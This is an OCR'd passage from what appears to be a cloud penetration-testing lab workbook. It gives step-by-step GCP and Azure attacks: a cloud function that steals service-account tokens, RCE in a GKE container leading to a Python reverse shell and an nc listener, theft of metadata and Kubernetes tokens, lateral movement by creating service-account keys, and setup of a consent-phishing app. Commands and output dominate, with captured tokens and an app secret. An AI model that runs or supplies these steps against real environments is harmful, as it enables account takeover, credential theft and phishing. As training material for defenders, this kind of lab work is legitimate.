— domain:atomic-nuclear.site
role: roles/resourcemanager.projectCreator
etag: BwXLsTbé6dPU=
version: 1

Step 11 : Configure backdoored access key with gcloud cli.

gcloud auth activate-service-account --key-file .\SVC-Key

PS C:\Users\Hacker\Desktop> gcloud auth activate-service-account - File .\SVC-Key
Activated service account credentials for: [prod-srv@production-proj—-325612.iam.gserviceaccount.com]
PS C:\Users\Hacker\Desktop> |




EXERCISE : GCP - 3

Privilege escalation by Compromised Editor Default Permission
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Step 1 : Authenticate to Gcloud cli with compromised least privilege user credential.

gcloud auth login

~/Downloads/google-cloud—-sdk/bin
auth login
Go to the following link in your browser:

https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redire
ct_uri=urn%3Aietf%3Awg%3Acauth%3A2.0%3Aoob&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3
A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admint+https%3A%2F%
2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=Ku3XadZn7DhpSj6JoH
d5Dx0zdCmRnr&prompt=consent&access_type=offline&code_challenge=0zdeWDVNcqki8ze6ZzXmviChDbtYp_UuvvS99krm_3U4&code_challeng
e_method=S256

Enter verification code: 4/1AXUXFWjTKVRI1liu9sU-GxYLzkU20FfyN11bVdWSSboP3edluxv3RSWI9BGg

You are now logged in as [least—-priv@atomic-nuclear.site].
Your current project is [None]. You can change this setting by running:
$ gcloud config set project PROJECT_ID

Google
Signin

Please copy this code, switch to your application and paste it there:

O




Step 2 : Get the information about all projects in an organization.

gcloud projects list

| BN kali@kali: ~/Downloads/google > e — O X

~/Downloads/google-cloud-sdk/bin
projects list
PROJECT_ID NAME PROJECT_NUMBER
production-proj-325612 Production-Proj 547664270161

~/Downloads/google-cloud-sdk/bin

Step 3 : Set the specified project with current configured credentials.

gcloud config set project production-proj-325612

~/Downloads/google-cloud-sdk/bin
config set project production—-proj-325612

Updated property [core/project].




Step 4 : Get the iam policy attached to the project level.
gcloud projects get-iam-policy production-proj-325612

~/Downloads/google-cloud-sdk/bin
projects get—-iam—-policy production-proj-325612

bindings:
— members:
— user:least-priv@atomic—nuclear.site
role: roles/editor
members:
— serviceAccount:high-priv-sa@production-proj-325612.iam.gserviceaccount.com
— user:manish@atomic—nuclear.site
role: roles/owner
etag: BwXNwOpxMLlY=
version: 1




Step 5 : First enable cloud resource manager & cloud functions API on google project.
e ggcloud services enable cloudresourcemanager.googleapis.com
e gcloud services enable cloudfunctions.googleapis.com

e cloudbuild.googleapis.com

~/Downloads/google—-cloud-sdk/bin
services enable cloudresourcemanager.googleapis.com

~/Downloads/google—-cloud-sdk/bin
services enable cloudfunctions.googleapis.com

Step 6 : Configure session token stealer cloud function in zip file.

~/Downloads/google—-cloud-sdk/bin
function—-source

.Z1ip
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Step 7 : Now deploy cloud function by attaching high privilege service account to it .

gcloud functions deploy privesc-fun --timeout 539 --trigger-http --allow-unauthenticated --source function-source --runtime python37

--entry-point hello_world --service-account high-priv-sa@production-proj-325612.iam.gserviceaccount.com

~/Downloads/google-cloud-sdk/bin
functions deploy privesc—fun 539 function—-source python37
hello_world high-priv-sa@production—-proj-325612.iam.gserviceaccount.com

Deploying function (may take a while - up to 2 minutes)...WARNING: Setting IAM policy failed, try ‘gcloud alpha functions add-iam-policy-bindi
ng privesc—fun —--region=us—-centrall -—member=allUsers —--role=roles/cloudfunctions.invoker’
Deploying function (may take a while - up to 2 minutes)...*®
For Cloud Build Logs, visit: https://console.cloud.google.com/cloud-build/builds;region=us-centrall/c31086d8-e67c-4a95-8b5e-80d6e356f16b?proje
ct=547664270161
Deploying function (may take a while - up to 2 minutes)...done.
availableMemoryMb: 256
buildId: c31086d8-e67c-U4a95-8b5e-80d6e356f16b
buildName: projects/54766U4270161/locations/us—-centrall/builds/c31086d8-e67c-4a95-8b5e-80d6e356F16b
entryPoint: hello_world
httpsTrigger:

securitylevel: SECURE_OPTIONAL

url: https://us—-centrall-production-proj—-325612.cloudfunctions.net/privesc—fun
ingressSettings: ALLOW_ALL
labels:

deployment-tool: cli-gcloud
name: projects/production-proj-325612/locations/us-centrall/functions/privesc—fun
runtime: python37
serviceAccountEmail: high-priv-sa@production-proj-325612.iam.gserviceaccount.com
sourceUploadUrl: https://storage.googleapis.com/gcf-upload-us—-centrall-f66cc6la-87c5-4986-8e3a-0c5fe2bl2++1/d222b053-Ffbd0-Ub63-adb5-93119cf6cc
d9.zip
status: ACTIVE
timeout: 539s
updateTime: '2021-10-07T721:04:51.405Z'
versionId: '1’'




Step 8 : Add permission to new deployed cloud function as AllUsers have permissions Cloud Functions Invoker.

Add principals to "privesc-fun’

Add principals and roles for "privesc-fun’ resource

Enter one or more principals below. Then select a role for these principals to grant them
access to your resources. Multiple roles allowed. Learn more

New principals

‘ allusers @ (7]
Role
[ Cloud Functions Invoker v [

Ability to invoke HTTP functions with
restricted access.

-+ ADD ANOTHER ROLE

CANCEL
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Step 9 : Invoke stealer cloud function and retrieve access token of attached high privilege service account..

curl https://us-central1-production-proj-325612.cloudfunctions.net/privesc-fun

~/Downloads/google-cloud-sdk/bin
: //us—centrall-production—-proj—-325612.cloudfunctions.net
{"access_token": "ya29.c.KrYBFAgCHAVpSF6qeVMBbaJU4hBrBIdbzUDtPTUKDkA1PkcOOU_DIceF1_Gb0777 NgNsxkOFRr3cqS_rLOMHpdYVMU9usbPplTdSv20q5cFmi8Ss—-UKSR
tLd7DXswRhiSUx6h8RxIsEhHdt3MgRyZ1feKc-iKJUJRtFqnSV6IM7uRBnJ50P0oA_6TUGJaNXgVpwjyxbAqw3ASyudPvbcNwMHPM1vDhBBYU43CUF jx63npdkFiOvwDQK24

"expires_in": 1790, "token_type": "Bearer", "identity": "eyJhbGciOiJSUzIINiIsImtpZCI6ImYOMTK2YWVLIMTESZmUyMTU5M2Q00GImY2ZiNWJIm
MDAXxNzdkZDRhNGQiLCJ0eXAi0iJKV1QifQ.eyJhdWQiOiIzMjUINTKOMDU10S5hcHBzLmdvb2dsZXVzZXJjb250ZW50LmNvbSIsImF6cCI6IjEWODASMTM3NTYUNDgXxNDMzOTKXNCIsSImV
tYWlsIjoiaGlnaClwcml2LXNhQHByb2R1Y3Rpb24tcHIvai®zMjU2MTIuaWFtLmdzZXJ2aWNLYWNjb3VudC5jb20il CILbWFpbF92ZXJpZml1ZCI6dHI1ZSwiZXhwIjoxNjMzNjQONzY2L
CIpYXQiO0jE2MzM2NDEXNjYsImlzcyI6ImhOdHBz0i8vYWNjb3VudHMuzZ29vZ2x1LmNvbSIsInN1YiI6I jEwODA3MTM3NTYUNDgxNDMzOTkxNCJI9.FI3BqZYxXkp3MoaQ7hDy-TTyjy68ald
SgSx5uq-W6JqWuM08ZmB3EsdCJIPC-TPiVvvSU47x0zNbgmnUrcX3i8UViPpsfta3RRpZQ_jS1TUIXx_NmTc_Jg6K2hYPWmK7AqF——-1iY5_vpYPnhJ6A_K8pGHOLUTxJjvscfAQY_WkrPw54Q
5mLM8QcbdXyjjlxwoav-UrNqQdsQtl1Vtky7Q0QCjepCqVrbTvpRjnIWpqTcjMe8ulénhjo3RvA1IkVYncMAVq8PJIp_LE8m7WSF1AVGcexDjqDk_CCAW71PuldsiJvRR8Ep8aKGoahKcDFijJIxF
0-L_3W1S9UNgHPgmrIPztUICeerw"}



https://us-central1-production-proj-325612.cloudfunctions.net/privesc-fun

Step 10 : Validate stolen access token.

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AccessToken

~/Downloads/google-cloud-sdk/bin

https://www.googleapis.com/oauth2/vl/tokeninfo?access_token=ya29.c.KrYBFA
Nsxk@FRr3cqS_rlL OMHpdYVMU9usbPplTdSv20q5cFmi8Ss—UKSRtLd7DXswRhiSUx6h8RxIsEhHdt3MgRyZ1feKc—-iKJUJRtFgnSV6IM7uRBnJ50PoA_ 6TUGJaNXgVpwj
vbcNwMHPM1vDhBBY43CUF jx63npdkFiOvwDQK24
{
"issued_to": "108071375684814339914",
"audience": "108071375684814339914",
"scope": "https://www.googleapis.com/auth/youtube https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/urlshortene

r https://www.googleapis.com/auth/streetviewpublish https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/drive https:/
/www.googleapis.com/auth/presentations https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/calendar https://mail.go
ogle.com/ https://www.googleapis.com/auth/analytics https://www.googleapis.com/auth/contacts",

"expires_in": 1665,

"email": "high-priv-sa@production-proj—-325612.iam.gserviceaccount.com",

"verified_email": true,

"access_type": "online"

Step 11 : Access google cloud resources with high privileged service account stolen access token .

curl -H "Authorization:Bearer AccessToken" https://Service.googleapis.com/



https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AccessToken

EXERCISE : GCP -4

Credential extraction by Exploiting GKE



a

Google Cloud
GKE Cluster
Attacker n Control Plane
Kube
API
Kubernetes

Worker Node Service
Connected to CP Account

Worker Node

Attacker

GCP Service Account

’-) GCP Services




Step 1 : Identify RCE in public facing application running in the docker container. .

http://34.136.30.89/?cmd=uname%20-a

& - C A Notsecure | 34.136.30.89/?cmd=uname%20-a

Linux data-deployment-b-67d9ffd9b7-b2xsz 5.4.120+ #1 SMP Wed Aug 18 10:20:32 PDT 2021 x86_64 GNU/Linux

Php

System Linux data-deployment-b-67d9ffd9b7-b2xsz 5.4.120+ #1 SMP Wed Aug 18 10:20:32 PDT 2021 x86_64

Build Date Jun 11 2020 18:31:38

Configure Command ' /configure' --build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php’ '--with-config-file-scan-
dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' --with-mhash' --enable-ftp' --enable-mbstring' '--
enable-mysgind' '--with-password-argon2' --with-sodium=shared' '--with-pdo-sqlite=/usr’ --with-sqlite3=/usr' --with-
curl' —-with-libedit' '--with-openssl' '--with-zlib' '--with-pear' "--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2"' '--
disable-cgi' 'build_alias=x86_64-linux-gnu'

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path lusr/local/etc/php

Loaded Configuration File (none)

Scan this dir for additional .ini files lusr/local/etc/php/conf.d

Additional .ini files parsed lusr/local/etc/php/conf.d/docker-php-ext-sodium.ini

PHP API 20190902

PHP Extension 20190902

Zend Extension 320190902

Zend Extension Build API320190902 NTS

PHP Extension Build API20190902 NTS

Debug Build no

Thread Safety disabled

Zend Signal Handling enabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring

IPv6 Support enabled

DTrace Support disabled

Registered PHP Streams https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar

Registered Stream Socket Transports

tcp, udp, unix, udg, ssl, tis, tisv1.0, tisv1.1, tlsv1.2, tisv1.3

Registered Stream Filters

zlib.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk

* O »@ :
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http://34.136.30.89/?cmd=uname%20-a

Step 2 : Exploit the public facing application running in the docker container by reverse shell.

http://34.136.30.89/?cmd=python -c 'import
socket,subprocess,os;s=socket.socket(socket. AF_INET,socket. SOCK_STREAM);s.connect(("3.144.223.115",2222));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);0s.dup2(subprocess.call(["/bin/sh","-i"]));'

& > C A Notsecure | 34.136.30.89/?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket AF_INET,socket.SOCK_STREAM);s.connect(("3.144.223.115",2222));%200s... L8 & ¥ O R @

Php

System Linux data-deployment-b-87d9ffd9b7-b2xsz 5.4.120+ #1 SMP Wed Aug 18 10:20:32 PDT 2021 x86_64

Build Date Jun 11 2020 18:31:38

Configure Command " /configure' --build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php’ '--with-config-file-scan-
dir=/usr/localletc/php/conf.d' --enable-option-checking=fatal' '--with-mhash' --enable-ftp' '--enable-mbstring' --
enable-mysqlnd' --with-password-argon2' --with-sodium=shared' '--with-pdo-sqlite=/usr’ --with-sqlite3=/usr' "--with-
curl' --with-libedit' --with-openssl' '-with-zlib' '--with-pear' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' '--
disable-cgi' 'build_alias=x86_64-linux-gnu’

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path lusr/local/etc/php

Loaded Configuration File (none)

Scan this dir for additional .ini files Jusr/local/etc/php/conf.d

Additional .ini files parsed Jusr/local/etc/php/conf.d/docker-php-ext-sodium.ini

PHP API 20190902

PHP Extension 20190902

Zend Extension 320190902

Zend Extension Build API320190902,NTS

PHP Extension Build API20190902,NTS

Debug Build no

Thread Safety disabled

Zend Signal Handling enabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring
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http://34.136.30.89/?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%223.144.223.115%22,2222));%20os.dup2

Step 3 : Start listening on reverse shell port using nc utility on attacker machine.

nc -nlvp 2222

[root@ip-172-31-26-183 ~]# nc -nvlp 2222

Version 7.50 ( https://nmap.org/ncat )

Listening on :::2222

Listening on 0.0.0.0:2222

Connection from 34.71.153.166.

Connection from 34.71.153.166:45488.
root@data-deployment-b-67d9ffd9b7-b2xsz:/var/www/html# whoami

vhoami
root
root@data-deployment-b-67d9ffd9b7-b2xsz:/var/www/html# uname -a

uname -a
Linux data-deployment-b-67d9ffd9b7-b2xsz 5.4.120+ #1 SMP Wed Aug 18 10:20:32 PDT 2021 x86_64 GNU/Linux

root@data-deployment-b-67d9ffd9b7-b2xsz:/var/www/html# |




Step 4 : Extract access token from metadata on compromised container.

curl -H "Metadata-Flavor:Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/547664270161-compute@developer.gserviceaccount.com/token

root@data-deployment-h-67d9ffd9h7-b2xsz: /var/www/html# curl -H "Metadata-Flavor:Google" http://169.254.169.254/computeMetadata/v1l/instance/service-accounts/54
1664270161-compute@developer.gserviceaccount.com/token
tadata/vl/instance/service-accounts/547664270161-compute@developer.gserviceaccount.com/token
% Total % Received % Xferd Average Speed Time  Time Time Current
Dload Upload Total Spent Left Speed

100 1049 100 1049 0 0 1024k 0 --1--:- - 1024k
{"access_token":"ya29.c. kaBFAgWxILyAUKJUrmogxchtntKGlco lYnF YonRJDFHHI IR07QqY1R1D1aAX _6vOFjprYuSwHHO13jg01jG2Fucs rTXt6jPhYPiDeHVIS1fISYHX7ViDpCNkhNH3N]

1779A99mkoBN7EVQrA5ML3a-4 XrrikIVakYHWx fRITG5ZUjt17778k9x9akz]0SZaRhbNY06L

", "expires_1n":3478 'token_type":"Bearer"}root({ldata-deployment-b-67d9ffd9b7-b2xsz:/var/\-n-n'f/htnﬂ#|



Step 5 : Verifying stolen access token on attacker system.

curl -H "Content-Type: application/x-www-form-urlencoded" -d
"access_token=ya29.c.KpkBFAgahlZSgW-QNJ498SvFKkKUPZQIr8AtuJT7gkOzgVmXCwsApR1gsDFtYNJII6_Dk1ph1YEgQLeOyN7
MBxjGrxv3UB40Z0ioc5vDUUDTpfSCfhdowQ8evrf4AmeOexegpLYZdtNOKNSQfPYHrXUrba3pVUL98umHTFOdgAbGUVXdXDXOT
WrUOCZFi7i-J-DMX-vI2tXOWpdQd_" https://www.googleapis.com/oauth2/v1/tokeninfo

C:\Users\Hacker>curl -H "Content-Type: application/x-www-form-urlencoded" -d "access token=ya29.c.KpkBFAgahIZSgW-QNJ4

98SVFKKUPZQ1r8AtulT7gk0zgVmXCwsApR1gsDFtYNJII16 DklphlYEgQLe@yN7MBxjGrxv3UB40Z0ioc5vDUUDTpfSCThdowQ8evrfdmeOexegplYZdt

NOKN5QfPYHrXUrba3pVUL98umHTF9dgAbGUVXdAXDXOTWrUOCZFi71i-J-DMX-v12tX0WpdQd " https://www.googleapis.com/oauth2/v1/tokeni

nfo

{
"issued to": "116098824372213280452",
"audience": "116098824372213280452",

"scope"”: "https://www.googleapis.com/auth/trace.append https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/monitoring https://www.googleapis.com/
auth/logging.write https://www.googleapis.com/auth/devstorage.read only",

"expires in": 1933,

"access _type": "online"

}


https://www.googleapis.com/oauth2/v1/tokeninfo

Step 6 : Get the information about kubernetes service account.

Is /var/run/secrets/kubernetes.io/serviceaccount/

root@data-deployment-b-67d9ffd9b7-b2xsz:/var/run/secrets/kubernetes.io/serviceaccount# 1s




Step 7 : Get the content of the service account certificate. .

cat ca.crt

root@data-deployment-b-67d9ffd9b7-b2xsz:/var/run/secrets/kubernetes.io/serviceaccount# cat ca.crt
cat ca.crt

BEGIN CERTIFICATE
MIIELTCCApWgAwIBAgIRAObeIeFmUMsL1d9m/y+MXHAWDQYJKoZIhvcNAQELBQAw
L zEtMCsGA1UEAXMkYmJ jMzE4ANmEtTODQOZCOONmMQ2LThjNDYtM2I4YzU1ZmMxMDVi
MCAXDTIXxMTAXxMjASMzEIN1oYDzIwWNTEXMDAIMTAZMTU3WjAvMSOWKwYDVQQDEYR1
YmMzMTg2YSO4NDRKLTQ2ZDYtOGMONiLiOzYjhjNTVmYZEWNWIwggGiMAOGCSqGSIbh3
DQEBAQUAA4IBjwAwggGKAoIBgQDNn13UGB8g6goKBDFVLk0oZ486 rcFab3Zj8wds5hP
MSAW8XL 1+PR+909E0dDBOwWZz51r8QUIQTUFBLWGLTmrFBk4Kj2BIppsMAXKPspgS
xtDT7Ke7at2CDfol7q2m3qzpP47pYbreiBSdx1Ht95 jWGThbhF/nC1QulimpRfth00
FFbKqJu8mf7To+frPUP355Xn1gkE+WBgz/5ailBru7EHtv2x9W4Gfwny6CRYzFhf
gFPHrWmbWA4ASEWvqY1lcCywpW/Ndtuve rqj18SaSAK/AYJq+t4Aa7CATkI rJoETFAC
ZHZApJSiNABKL/Omw9RAe3q9/B4MVdMOlm5]ex/amijKmZ4eyPz10uUNLd1ViyMO
ToQ8JY750+bRY09IPQmdOzpq7i0hsOff59GKeUpK8gsKxCvtPIWXKEIZk 1XaXCN+
2Xo5KdKFv77EeE9/EYSgn8UxKR90J8Cex50bVxFaWK5yyTJEb rcd513bPeC55k jD
uas+9ZulyQVRbSYN3uysV9//Vmk CAWEAAaNCMEAwWDgYDVROPAQH/BAQDAgIEMASBG
A 1UdEwEB/wQFMAMBA f8wHQYDVROOBBYEFJ643Dv jFCGZsYh6cC8sUk jdTO7bMAOG
CSqGSIb3DQEBCWUAA4IBgQBI r3Mzwt10/S1jPbJ+NPfULjqGL8909xwIdXNLHp fc
IN1CvoGdTimwDu2PgYVx308pswy9fT4JodkBzIjzjORVTEY/GNp6GXM2N21Tz8Fv
b1S/LQFOCVCPjtLbS/9CshzAKeKAutY9BkB22HsoNQTuiZibgqw70kkd8B90sSxi
q20DjXFZfc/YiMmp6ZyaNyULp1llvvFgj46D1FoQyN8u5X8PNVF6alwdwBhHCkLZa
7bi1yDQLGMWQcH2bDb04HkVGXxGhb7Xi6TVtnH+m64v8/E11ZablAstqi+vGaa0aKE
LPmjlm3ouldNj9WvvRUuIPOIMD/bFCTqpXmTBOVviRgCnFbNImSaAQZxFRfrTn/oy+
dpYbLEPjlwsomJ7dokkTYgG9pt0QfF8pYoZblvUE/G/E/hf8UDTe6UoED2H+Fapc
FT1lTelQW9tt63YXktUwQaTe5cgqV2LBSuX6aZ3TaVe91NzaV3kvNEVAqyKirwsqgh
6q+s rSNVixuGSGd rPiZHEbo=

END CERTIFICATE
root@data-deployment-b-67d9ffd9b7-b2xsz:/var/run/secrets/kubernetes.io/serviceaccount# |




Step 8 : Download kubectl binary from remote machine to compromised pod.

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubect!"

root@data-deployment-b-67d9ffd9b7-b2xsz:~# curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/1linux/amd64/kubectl”
able.txt)/bin/linux/amd64/kubectl"e/$(curl -L -s https://dl.k8s.io/release/sta

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed
100 154 100 154 0 ) 7000 0 --i--t-- m-pemree m-neen 7000

100 44.7M 100 44.7M ) 0 83.9M I I 130M
root@data-deployment-b-67d9ffd9b7-b2xsz:~# 1s



https://dl.k8s.io/release/stable.txt

Step 9 : Use kubectl utility within compromised pod to authenticate to kubernetes control plane .

Jkubectl get pods

root@data-deployment-b-67d9ffd9b7-b2xsz:~# ./kubectl get pods
./kubectl get pods
NAME READY  STATUS RESTARTS

data-deployment-b-67d9ffd9b7-b2xsz 1/1 Running
data-deployment-b-67d9ffd9b7-gvcxr 1/1 Running
sensitive-pod 1/1 Running

Step 10 : Use kubernetes service account credential to authentication to control plane using kubernetes api.

curl --cacert ca.crt -H "Authorization: Bearer ${cat token}" https://kubernetes.default/api/v1/pod/namespaces/${cat namespace}




EXERCISE : GCP -5

Cross Project Lateral Movement
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Step 1 : Authenticate to Gcloud cli with compromised user credential.

gcloud auth login emp01@atomic-nuclear.site

~/Downloads/google-cloud-sdk/bin
auth login emp@l@atomic-nuclear.site

2

WARNING: Re-using locally stored credentials for [emp@l@atomic-nuclear.site]. To fetch new credentials, re-run the command with the "--force’ flag.

You are now logged in as [emp@l@atomic-nuclear.site].
Your current project is [staging-project-329312]. You can change this setting by running:
$ gcloud config set project PROJECT_ID

Step 2 : Retrieve the project id and configure to gcloud cli .

gcloud projects list

gcloud config set project staging-project-329312

~/Downloads/google—cloud-sdk/bin
projects list
PROJECT_ID NAME PROJECT_NUMBER
staging—-project—-329312 Staging-Project 122029592693

~/Downloads/google—cloud—sdk/bin
config set project staging—-project—-329312
Updated property [core/project].




Step 3 : Get the get policy attached to gcp project.
gcloud projects get-iam-policy staging-project-329312

~/Downloads/google—-cloud-sdk/bin
projects get-iam-policy staging-project-329312

bindings:
- members:
— serviceAccount:sal-164@staging—-project—-329312.iam.gserviceaccount.com
— serviceAccount:sa2-76@staging-project-329312.iam.gserviceaccount.com
role: roles/editor
members:
- user:emp@l@atomic—-nuclear.site
- user:manish@atomic—nuclear.site
role: roles/owner
etag: BwXO0i7krtXk=
version: 1




Step 4 : Create a new key for service account “SA1”.

gcloud iam service-accounts keys create /tmp/SA1-Key.json --iam-account

sa1-164@staging-project-329312.iam.gserviceaccount.com

~/Downloads/google-cloud-sdk/bin
iam service-accounts keys create /tmp/SAl-Key.json sal-16U@staging-project-329312.iam.gserviceaccount.com

created key [e66bU80a8d2fccdd7alld@aad936cb62u547dfca] of type [json] as [/tmp/SAl-Key.json] for [sal-16U4@staging-project-329312.iam.gserviceaccount.c
om]

Step 5 : Now, activate service account with newly created service account key.

gcloud auth activate-service-account --key-file=/tmp/SA1-Key.json

~/Downloads/google-cloud-sdk/bin
auth activate-service-account

Activated service account credentials for: [sal-16U@staging-project-329312.iam.gserviceaccount.com]



mailto:sa1-164@staging-project-329312.iam.gserviceaccount.com

Step 6 : List of all active account in gcloud cli.

gcloud auth list

~/Downloads/google—-cloud-sdk/bin
auth list
Credentialed Accounts
ACTIVE ACCOUNT
emp@l@atomic—nuclear.site
sal-l6U4@staging—project—-329312.1iam.gserviceaccount.com

To set the active account, run:
$ gcloud config set account ACCOUNT’




Step 7 : List of all projects, which are accessible by newly authenticate service account.

gcloud projects list

~/Downloads/google-cloud-sdk/bin
projects list
API [cloudresourcemanager.googleapis.com] not enabled on project
[122029592693]. Would you like to enable and retry (this will take a
few minutes)? (y/N)? vy

Enabling service [cloudresourcemanager.googleapis.com] on project [122029592693]...

Operation "operations/acf.p2-122029592693-b1e82319-adbf-Uf3f-a0de-a83Ubb87a8ee" finished successfully.
PROJECT_ID NAME PROJECT_NUMBER

staging-project-329312 Staging-Project 122029592693




Step 8 : Get the get policy attached to gcp project.
gcloud projects get-iam-policy staging-project-329312

~/Downloads/google—cloud-sdk/bin
projects get-iam—-policy staging-project-329312

bindings:
— members:
— serviceAccount:sal-l1l6U@staging-project-329312.iam.gserviceaccount.com
— serviceAccount:sa2-76@staging-project—-329312.iam.gserviceaccount.com
role: roles/editor
members:
— user:emp@l@atomic—nuclear.site
— user:manish@atomic—nuclear.site
role: roles/owner
etag: BwX0i7krtXk=
version: 1




Step 9 : Create a new key for service account “SA2”.

gcloud iam service-accounts keys create /tmp/SA2-Key.json --iam-account

sa2-76@staging-project-329312.iam.gserviceaccount.com

~/Downloads/qgoogle-cloud-sdk/bin
iam service-accounts keys create /tmp/SA2-Key.json sa2-T6@staging-project-329312.1am.gserviceaccount.com

created key [82f16f773b11b£269bct0012798a27a8b9c6579d] of type [json] as [/tmp/SA2-Key.json] for [sa2-T6@staging-project-329312.1iam.gserviceaccount.co
]

Step 10 : Now, activate service account with newly created service account key [SA2].

gcloud auth activate-service-account --key-file=/tmp/SA2-Key.json

~/Downloads/google—-cloud-sdk/bin
auth activate-service-account

Activated service account credentials for: [sa2-76@staging-project-329312.iam.gserviceaccount.com]




Step 11 : List of all active account in gcloud cli.

gcloud auth list

~/Downloads/google—cloud-sdk/bin
auth list

Credentialed Accounts
ACTIVE ACCOUNT

empO@l@atomic—nuclear.site
sal-l16U4@staging-project-329312.iam.gserviceaccount.com
sa2-76@staging—-project—-329312.iam.gserviceaccount.com

To set the active account, run:
$ gcloud config set account "ACCOUNT®




Step 12 : List of all projects, which are accessible by newly authenticate service account.

gcloud projects list

~/Downloads/google—-cloud—-sdk/bin
projects list

PROJECT_ID NAME PROJECT_NUMBER
production-proj—-325612 Production-Proj 547664270161
staging-project—-329312 Staging-Project 122029592693




Step 13 : Get the get policy attached to gcp project.

gcloud projects get-iam-policy staging-project-329312

~/Downloads/google—cloud—-sdk/bin
projects get—-iam—-policy production—-proj-325612
bindings:
— members:
— serviceAccount:service-547664270161@gcp—sa—cloudbuild.iam.gserviceaccount.com
role: roles/cloudbuild.serviceAgent
members:
— serviceAccount:service-547664270161@gcf—admin—robot.iam.gserviceaccount.com
role: roles/cloudfunctions.serviceAgent
members:
— serviceAccount:service-547664270161@compute-system.iam.gserviceaccount.com
role: roles/compute.serviceAgent
members:
— serviceAccount:service-547664270161@container—-engine—-robot.iam.gserviceaccount.com
role: roles/container.serviceAgent
members:
— serviceAccount:service-547664270161@containerregistry.iam.gserviceaccount.com
role: roles/containerregistry.ServiceAgent
members:
— serviceAccount:sa2-76@staging—-project—-329312.iam.gserviceaccount.com
— serviceAccount:sa3-839@production—-proj—-325612.iam.gserviceaccount.com
— user:admin@atomic—nuclear.site
— user:manish@atomic—nuclear.site
role: roles/owner
members:
— serviceAccount:service-547664270161@gcp—sa—pubsub.iam.gserviceaccount.com
role: roles/pubsub.serviceAgent
etag: BwXOjtyINTQ=
version: 1




Module 3 : Attacking Azure Cloud Environment

Exercises :

 Initial Access by lllicit Consent Grant Attack

« Persistence by Service Principal App Role Permission
 Privilege Escalation by Exploiting Azure Automation Accounts.
« Credentia Hunting from Azure Key Vault

« Lateral Movement using Azure MDM Solution

« Azure AD Connect Compromising

 Office 365[ 0365 ] Hijacking

« Defence Evasion by Defender for Cloud Downgrade
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EXERCISE : Azure -1

Initial Access by lllicit Consent Grant Attack



Initial Access by lllicit Consent Grant Attack [Phishing]

Attacker azure tenant o
Victim Azure Tenant

———
o |

S 5- Attacker app can access victim
Enterprise Azure tenant information "o’
Application Az\(jre
services

Azure

1- Register multi app registration
tenant App in

Azure portal ]
2- Configure Azure

App with phishing

Application 4- Victim grant
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9 attacker application
N
Phishing
Application

Attacker hosting platform

&

3- Send phishing App
Attacker link to victim Victim



Step 1 : lllicit Consent Grant Attack Infrastup Setup -
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139




Step 2 : Access Azure AD Portal and Register an application.

https://portal.azure.com

Microsoft Azure L Search resources, services, and docs (G+/)

Home > Default Directory >

Register an application

I phish-app N

Supported account types

Who can use this application or access this API?

O Accounts in this organizational directory only (Default Directory only - Single tenant)

@ Accounts in any organizational directory (Any Azure AD directory - Multitenant)

O Accounts in any organizational directory (Any Azure AD directory - Multitenant) and personal Microsoft accounts (e.g. Skype, Xbox)

O Personal Microsoft accounts only

Help me choose...

Redirect URI (optional)

We'll return the authentication response to this URI after successfully authenticating the user. Providing this now is optional and it can be
changed later, but a value is required for most authentication scenarios.

Web v ‘ I https://phish.atomic—nuclear.site/gettokenl v

Register an app you're working on here. Integrate gallery apps and other apps from outside your organization by adding from Enterprise applications.

By proceeding, you agree to the Microsoft Platform Policies (!

S

® s o

&

azure-global-admin@at...
DEFAULT DIRECTORY (ATOMIC-N...


https://portal.azure.com

Step 3 : Create Secret of the Registered Application.

Microsoft Azure L Search resources, services, and docs (G+/) 2@:&}%%?!&29{23&%" &

Home > Default Directory > phish-app

o phish-app | Certificates & secrets = - )

| L Search (Ctrl+/) ’ « Q Got feedback?

B Overview = o A
Certificates

& Quickstart

. Certificates can be used as secrets to prove the application’s identity when requesting a token. Also can be referred to as public keys.
# Integration assistant

Manage 1 Upload certificate

& Branding Thumbprint Start date Expires Certificate ID

D Authentication No certificates have been added for this application.

Certificates & secrets

{l! Token configuration

9 API permissions Client secrets
& Expose an API A secret string that the application uses to prove its identity when requesting a token. Also can be referred to as application password.
B5 App roles
—+ New client secret
&8 Owners
Description Expires Value Secret ID
&« Roles and administrators |
Preview Password uploaded on Wed Sep 29 2021 3/29/2022 X437Q~_sdeUr6XGRZFHOt8P1m5QEbFvh... [} a65ffaba-f8e5-45b0-a39¢c-dd8270a15d9f [ ]E]

Manifest

Support + Troubleshooting

